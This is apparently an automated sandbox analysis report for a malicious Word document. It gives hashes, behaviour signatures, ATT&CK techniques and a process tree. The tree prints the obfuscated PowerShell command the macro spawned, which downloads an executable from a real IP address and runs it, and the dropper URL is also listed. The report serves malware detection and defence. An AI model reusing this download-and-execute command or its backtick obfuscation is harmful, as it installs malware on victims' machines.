Analysis

  • max time kernel
    101s
  • max time network
    127s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    14-10-2021 10:19

General

  • Target

    QPL_0600_310107725.doc

  • Size

    28KB

  • MD5

    38aa23ee6f3164562c75b9584ddd8bf7

  • SHA1

    75982c488ae86664e2b3420fbfec12bd22e75b81

  • SHA256

    ce0784a0d4e7afe62964a890c549c42743fa1cc5d9bf78204a225c9bd2e3b2c6

  • SHA512

    f3283f73453c014e7d45aa2e96db6f2e6241c498683d146ca41cf323e9a3a7d616dcefba78778bdb13e3d26dd9e12d3feb22841e0779a6322d1af05a76f58623

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://18.195.143.183/6/7/QPL_0600_310107725.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\QPL_0600_310107725.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\appearadmit.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://18.195.143.183/6/7/QPL_0600_310107725.e`xe -Destination C:\Users\Public\Documents\chancecrime.e`xe;C:\Users\Public\Documents\chancecrime.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3008

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\Documents\appearadmit.cmd
    MD5

    8e0cacb4b622dcb95170f8ccaef4d78f

    SHA1

    470706d4f1199e9213a82608e3f64be3141b8190

    SHA256

    1c442d099676f8627f483d363cd44371089becae8273e14d30c2bf0921ef6331

    SHA512

    d13de1085d59906cddb1d3a5e3aad9c68a9009cae942cd8383e23a37178a27079382b9130b63bccc34efef3868cee8ca909d35f26a0664732f80738e9db1ad83

  • memory/964-259-0x0000000000000000-mapping.dmp
  • memory/2404-118-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmp
    Filesize

    64KB

  • memory/2404-115-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmp
    Filesize

    64KB

  • memory/2404-119-0x0000015D02040000-0x0000015D02042000-memory.dmp
    Filesize

    8KB

  • memory/2404-120-0x0000015D02040000-0x0000015D02042000-memory.dmp
    Filesize

    8KB

  • memory/2404-121-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmp
    Filesize

    64KB

  • memory/2404-122-0x0000015D02040000-0x0000015D02042000-memory.dmp
    Filesize

    8KB

  • memory/2404-117-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmp
    Filesize

    64KB

  • memory/2404-116-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmp
    Filesize

    64KB

  • memory/3008-262-0x0000000000000000-mapping.dmp
  • memory/3008-272-0x000002BCA30C0000-0x000002BCA30C2000-memory.dmp
    Filesize

    8KB

  • memory/3008-273-0x000002BCA30C3000-0x000002BCA30C5000-memory.dmp
    Filesize

    8KB

  • memory/3008-411-0x000002BCA30C6000-0x000002BCA30C8000-memory.dmp
    Filesize

    8KB

  • memory/3008-420-0x000002BCA30C8000-0x000002BCA30C9000-memory.dmp
    Filesize

    4KB